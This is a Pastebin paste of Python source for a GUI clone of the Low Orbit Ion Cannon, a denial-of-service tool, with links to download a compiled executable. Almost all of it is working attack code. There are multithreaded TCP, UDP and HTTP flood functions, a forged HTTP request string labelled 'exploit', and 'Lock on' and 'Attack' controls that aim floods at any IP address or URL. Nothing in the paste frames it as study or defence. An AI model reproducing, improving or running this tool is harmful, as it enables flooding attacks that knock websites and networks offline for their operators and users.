Advertisement
K-Metal

Python Loic

Oct 30th, 2015
328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.90 KB | None | 0 0
  1. #Download Icon and Image files: https://www.mediafire.com/folder/1yp26khhbf9vd/PyLoic_Proj
  2. #Download Compiled Python Binary (.exe): http://www.mediafire.com/download/sr7xop7m1q513hs/PyLoic.exe
  3. #Python Version of Low Orbit Ion Cannon
  4.  
  5. from Tkinter import *
  6. import ttk
  7. import tkFont
  8. import socket
  9. import sys
  10. import os
  11. import time
  12. import random
  13. import threading
  14. import tkMessageBox
  15.  
  16. screenbg = "#0A1D44"
  17. screenfg = "white"
  18.  
  19. def resource_path(relative):
  20.     if hasattr(sys, "_MEIPASS"):
  21.         return os.path.join(sys._MEIPASS, relative)
  22.     return os.path.join(relative)
  23.  
  24. iconName = 'loic.ico'
  25. iconFile = resource_path(iconName)
  26.  
  27. root = Tk()
  28. root.geometry("720x480")
  29. root.configure(background=screenbg)
  30. root.title("Python Low Orbit Ion Cannon")
  31. root.iconbitmap(iconFile)
  32.  
  33.  
  34. filename = 'loic.gif'
  35. myfile = resource_path(filename)
  36. photo = PhotoImage(file=myfile)
  37. loic = Label(bg=screenbg,image=photo)
  38. loic.image = photo
  39. loic.place(x=490,y=10)
  40.  
  41. default_font = tkFont.nametofont("TkDefaultFont")
  42. default_font.configure(size=11)
  43. root.option_add("*Font", default_font)
  44.  
  45. #### Target Frame ##############
  46. targetFrame = LabelFrame(root,text="Select Target",bg=screenbg,fg=screenfg,height=160,width=470)
  47. targetFrame.place(x=5,y=5)
  48.  
  49. LockOn = StringVar()
  50. LockOn.set("127.0.0.1")
  51. Label(targetFrame,textvariable=LockOn,bg=screenbg,fg=screenfg,font="Courier 25 italic bold").place(x=60,y=85)
  52.  
  53. Label(targetFrame,text="IP Address:",bg=screenbg,fg=screenfg).place(x=5,y=5)
  54. ip = ttk.Entry(targetFrame,width=33)
  55. ip.place(x=90,y=5)
  56. Label(targetFrame,text="URL:",bg=screenbg,fg=screenfg).place(x=5,y=45)
  57. url = ttk.Entry(targetFrame,width=33)
  58. url.place(x=90,y=45)
  59.  
  60. _target_addr = "127.0.0.1"
  61. _target_url = "http://google.com"
  62.  
  63.  
  64. ####### Attack settings Frame ######
  65. atkframe = LabelFrame(root,text="Attack Options",bg=screenbg,fg=screenfg,height=170,width=470)
  66. atkframe.place(x=5,y=170)
  67.  
  68. _p = StringVar()
  69. _d = StringVar()
  70. _t = StringVar()
  71. _htp = StringVar()
  72. _msg = StringVar()
  73. _p.set(str(80))
  74. _d.set(str(1))
  75. _t.set(str(0.1))
  76. _htp.set("/")
  77. _msg.set("This is much better than original")
  78.  
  79. Label(atkframe,text="Port:",bg=screenbg,fg=screenfg).place(x=5,y=5)
  80. Label(atkframe,text="Threads:",bg=screenbg,fg=screenfg).place(x=145,y=5)
  81. Label(atkframe,text="Timeout:",bg=screenbg,fg=screenfg).place(x=305,y=5)
  82. _port = ttk.Entry(atkframe,textvariable=_p,width=10)
  83. _threads = ttk.Entry(atkframe,textvariable=_d,width=10)
  84. _timeout = ttk.Entry(atkframe,textvariable=_t,width=10)
  85. _port.place(x=50,y=5)
  86. _threads.place(x=210,y=5)
  87. _timeout.place(x=370,y=5)
  88.  
  89. #Attack Method Options
  90. proto = ""
  91. proto_var = StringVar(root)
  92. choices = {
  93.     'TCP': 'tcp',
  94.     'HTTP': 'http',
  95.     'uDP': 'udp',
  96.     'UDP': 'udp',
  97. }
  98. Label(atkframe,text="Method",bg=screenbg,fg=screenfg).place(x=5,y=60)
  99. ttk.OptionMenu(atkframe, proto_var, *choices).place(x=5,y=90)
  100. proto_var.set('UDP')
  101. proto = "udp"
  102.  
  103. Label(atkframe,text="HTTP Subsite",bg=screenbg,fg=screenfg).place(x=220,y=35)
  104. Label(atkframe,text="TCP/UDP Message",bg=screenbg,fg=screenfg).place(x=210,y=85)
  105. http_sub = ttk.Entry(atkframe,textvariable=_htp,width=45)
  106. http_sub.place(x=90,y=60)
  107. atk_msg = ttk.Entry(atkframe,textvariable=_msg,width=45)
  108. atk_msg.place(x=90,y=110)
  109.  
  110.  
  111. #### Status Tab ########
  112. statusframe = LabelFrame(root,text="Attack Status",bg=screenbg,fg=screenfg,height=90,width=470)
  113. statusframe.place(x=5,y=340)
  114.  
  115. Label(statusframe,text="Requested",bg=screenbg,fg=screenfg).place(x=5,y=5)
  116. Label(statusframe,text="Downloaded",bg=screenbg,fg=screenfg).place(x=165,y=5)
  117. Label(statusframe,text="Sent Packets",bg=screenbg,fg=screenfg).place(x=325,y=5)
  118.  
  119. _req = 0
  120. _down = 0
  121. _pkts = 0
  122. running = False
  123.  
  124. _Requests = StringVar()
  125. _download = StringVar()
  126. _packets = StringVar()
  127. _Requests.set(str(_req))
  128. _download.set(str(_down))
  129. _packets.set(str(_pkts))
  130.  
  131. Label(statusframe,textvariable=_Requests,bg=screenbg,fg=screenfg).place(x=5,y=35)
  132. Label(statusframe,textvariable=_download,bg=screenbg,fg=screenfg).place(x=165,y=35)
  133. Label(statusframe,textvariable=_packets,bg=screenbg,fg=screenfg).place(x=325,y=35)
  134.  
  135. #### DDOS Functions ######
  136. def HTTPFlood(target,port,payload,timeout):
  137.     while True:
  138.         global running
  139.         global _req,_down,_pkts
  140.         if running:
  141.             s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  142.             s.settimeout(timeout)
  143.             myport = 80
  144.             try:
  145.                 s.connect((target,port))
  146.                 _req += 1
  147.                 s.send(payload)
  148.                 _pkts += 1
  149.                 data = s.recv(65500)
  150.                 _down += 1
  151.                 s.close()
  152.             except:
  153.                 pass
  154.             del s
  155.         else:
  156.             break
  157.  
  158. def UDPFlood(target,port,payload):
  159.     s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  160.  
  161.     while True:
  162.         global running
  163.         global _req,_down,_pkts
  164.         if running:
  165.             s.sendto(payload,(target,port))
  166.             _pkts += 1
  167.             time.sleep(0.01)
  168.         else:
  169.             break
  170.  
  171. def TCPFlood(target,port,payload,timeout):
  172.     while True:
  173.         global running
  174.         global _req,_down,_pkts
  175.         if running:
  176.            
  177.             s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  178.             s.settimeout(timeout)
  179.             try:
  180.                 s.connect((target,port))
  181.                 _req += 1
  182.                 s.send(payload)
  183.                 _pkts += 1
  184.                 s.close()
  185.             except:
  186.                 pass
  187.             del s
  188.             time.sleep(0.01)
  189.         else:
  190.             break
  191.  
  192. def Start():
  193.     global _target_url,_target_addr,_port,atk_msg,_timeout,http_sub
  194.     global running,proto
  195.     global _req,_down,_pkts
  196.     global _threads
  197.     _req = 0
  198.     _down = 0
  199.     _pkts = 0
  200.     if running == False:
  201.         running = True
  202.  
  203.     if http_sub.get() == "":
  204.         subsite = "/"
  205.     else:
  206.         subsite = http_sub.get()
  207.     exploit = "GET %s HTTP/1.1\r\n" % subsite
  208.     exploit += "Pragma: no-cache\r\n"
  209.     exploit +="Cache-Control: no-cache\r\n"
  210.     exploit +="Host: %s\r\n" % _target_url
  211.     exploit +="Connection: Keep-alive\r\n"
  212.     exploit +="Accept-Encoding: gzip,deflate\r\n"
  213.     exploit +="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36\r\n"
  214.     exploit +="Accept: */*\r\n\r\n"
  215.     host = _target_addr
  216.     if _timeout.get() == "":
  217.         mytimeout = 0.5
  218.     else:
  219.         mytimeout = float(_timeout.get())
  220.     if _port.get() == "":
  221.         myport = 80
  222.     else:
  223.         myport = int(_port.get())
  224.  
  225.     if myport > 65500:
  226.         myport = 65500
  227.     if atk_msg.get() == "":
  228.         data = 2
  229.     else:
  230.         data = len(atk_msg.get())
  231.     data = data**2
  232.     to_send = random._urandom(data)
  233.     if _threads.get() == "" or int(_threads.get()) <= 0:
  234.         num = 1
  235.     else:
  236.         num = int(_threads.get())
  237.  
  238.     if proto == "udp":
  239.         host = _target_addr
  240.         for x in range(num):
  241.             t = threading.Thread(target=UDPFlood,args=[_target_addr,myport,to_send],)
  242.             t.daemon = True
  243.             t.start()
  244.     if proto == "tcp":
  245.         host = _target_addr
  246.         for x in range(num):
  247.             t = threading.Thread(target=TCPFlood,args=[_target_addr,myport,to_send,mytimeout,])
  248.             t.daemon = True
  249.             t.start()
  250.     if proto == "http":
  251.         host = _target_url
  252.         for x in range(num):
  253.             t = threading.Thread(target=HTTPFlood,args=[_target_addr,myport,exploit,mytimeout])
  254.             t.daemon = True
  255.             t.start()
  256.  
  257. def Stop():
  258.     global running
  259.     if running:
  260.         running = False
  261.  
  262. #### Other Functions ######
  263. def Update():
  264.     global _req,_down,_pkts
  265.  
  266.     _Requests.set(str(_req))
  267.     _download.set(str(_down))
  268.     _packets.set(str(_pkts))
  269.  
  270.     root.after(1,Update)
  271.  
  272. def change_protocol(*args):
  273.     global proto
  274.     proto_ = choices[proto_var.get()]
  275.     proto = proto_
  276.  
  277. def Lock(target):
  278.     global LockOn
  279.     global _target_addr,_target_url
  280.     if target == "IP":
  281.         _target_addr = ip.get()
  282.         LockOn.set(_target_addr)
  283.     else:
  284.         site = url.get()
  285.         if "http://" in site:
  286.             site = site.split("http://")[1]
  287.         if "www." in site:
  288.             site = site.split("www.")[1]
  289.         _target_url = site
  290.         to_put = socket.gethostbyname(site)
  291.         _target_addr = to_put
  292.         LockOn.set(to_put)
  293.  
  294. ttk.Button(targetFrame,text="Lock on",command=lambda: Lock("IP")).place(x=365,y=5)
  295. ttk.Button(targetFrame,text="Lock on",command=lambda: Lock("URL")).place(x=365,y=45)
  296. ttk.Button(root,text="Attack",width=20,command=Start).place(x=15,y=440)
  297. ttk.Button(root,text="Stop",width=20,command=Stop).place(x=300,y=440)
  298.  
  299. proto_var.trace('w',change_protocol)
  300. root.after(1,Update)
  301. root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement